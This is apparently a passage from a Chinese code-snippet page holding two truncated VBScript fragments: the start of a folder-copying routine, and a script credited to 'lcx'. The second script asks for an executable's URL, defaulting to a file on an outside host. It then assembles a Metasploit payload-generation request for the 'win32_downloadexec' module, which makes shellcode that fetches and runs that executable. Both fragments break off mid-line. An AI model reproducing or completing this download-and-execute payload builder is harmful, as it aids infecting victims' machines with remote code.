复制代码 代码如下:On Error Resume Next Dim objFSO,sourcepath,targetpath,targetfile Function GetSourceFile(path) Dim file,folder,sfolder,subfolder,files If Not objFSO.FolderExists(path) Then Msgbox "目标文件夹不存在!" Else objFSO...
'code by lcx On Error Resume Next Exeurl = InputBox( "请输入exe的地址:", "输入", "http:https://www.haiyangtop.net/333.exe" ) url="http:https://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec..